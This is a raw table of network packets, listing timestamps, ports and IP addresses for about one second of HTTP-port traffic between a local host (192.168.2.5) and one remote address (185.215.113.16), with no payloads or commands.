Oct 27, 2024 20:15:30.567836046 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.567850113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567903996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.568423033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.568442106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.568459034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.568470955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.568507910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.568696976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.568763971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.568779945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.568809986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.606199026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606225014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606240988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606256962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606271982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606272936 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.606287956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606329918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.606329918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.606492996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606507063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606523037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606538057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.606560946 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.606579065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.653203964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.653228045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.653254986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.653254986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.653271914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.653289080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.653290033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.653310061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.653337002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.674984932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675002098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675017118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675033092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675048113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675048113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.675088882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.675434113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675451040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675467968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675482988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675501108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.675522089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.675868034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675892115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675909042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675925016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675940990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.675960064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.684384108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684401035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684416056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684432983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684448004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684453011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.684465885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684479952 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.684484005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.684501886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.684535980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.685019016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685034037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685081959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.685148001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685163975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685180902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685206890 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.685641050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685656071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685673952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685679913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.685692072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.685712099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.685997009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.686013937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.686028957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.686049938 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.686064959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.733844995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733875036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733891964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733908892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733926058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733941078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733942032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.733959913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.733990908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.734299898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.734317064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.734334946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.734344959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.734376907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.770143032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770162106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770179033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770207882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.770279884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770304918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770320892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770338058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770343065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.770355940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.770369053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.770401955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.792005062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792023897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792041063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792069912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.792236090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792260885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792278051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792282104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.792294979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792313099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792316914 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.792367935 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.792388916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792407990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.792443037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.793061972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.793076992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.793093920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.793121099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.801381111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801397085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801440954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.801451921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801467896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801486015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801501989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801506996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.801522017 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.801918030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801932096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.801974058 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.802083969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802099943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802114964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802131891 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.802155972 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.802162886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802177906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802194118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802210093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.802227020 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.802310944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.803031921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.803045988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.803076029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.803165913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.803181887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.803215981 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.803225994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.844371080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.850912094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.850939989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.850959063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.850987911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.851001024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.851017952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.851032972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.851039886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.851073980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.851283073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.851299047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.851325035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.851341009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.887172937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887193918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887222052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.887249947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887268066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887284040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887304068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.887331963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.887418032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887706041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887720108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887753963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.887861967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887875080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.887906075 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.909109116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909137964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909154892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909171104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909188032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909204960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.909213066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909249067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.909249067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.909594059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909609079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909632921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909647942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909663916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.909671068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.909702063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.910228014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.910259962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.910294056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.910320044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.910326004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.910357952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.910360098 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.918498039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.918550968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.918574095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.918581009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.918607950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.918631077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.918632030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.918675900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.918747902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919097900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919132948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919158936 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.919164896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919188023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919209957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919233084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.919265985 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.919631004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919703960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919750929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.919842958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919866085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919888020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919909954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.919922113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.919950962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.920331955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.920351982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.920375109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.920401096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.968039989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968077898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968103886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.968143940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968178988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968198061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968223095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968235970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968238115 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.968274117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.968369007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968394041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968446970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.968903065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968926907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.968981981 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.004437923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004462957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004478931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004497051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004513025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004522085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.004532099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004606009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.004606009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.004739046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004755020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.004801035 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.026269913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026288986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026304960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026340008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.026380062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026406050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026422024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026427031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.026438951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026457071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.026468039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.026503086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.027101040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027117014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027147055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.027256012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027271986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027287006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027344942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.027554989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027570009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027585030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027601957 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.027631044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.027637005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027653933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027669907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.027714014 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.035621881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.035645008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.035676003 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.035685062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.035705090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.035723925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.035732031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.035743952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.035794973 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036035061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036081076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036118984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036225080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036252022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036267996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036283016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036293983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036326885 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036679029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036719084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036767006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036892891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036909103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036926031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036931038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036943913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.036973000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.036983967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.037025928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.037374973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.037427902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.037467003 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.085134983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085164070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085181952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085199118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085230112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085244894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085262060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085294008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.085520983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085537910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.085556030 CET	80	49719	185.215.113.16	192.168.2.5
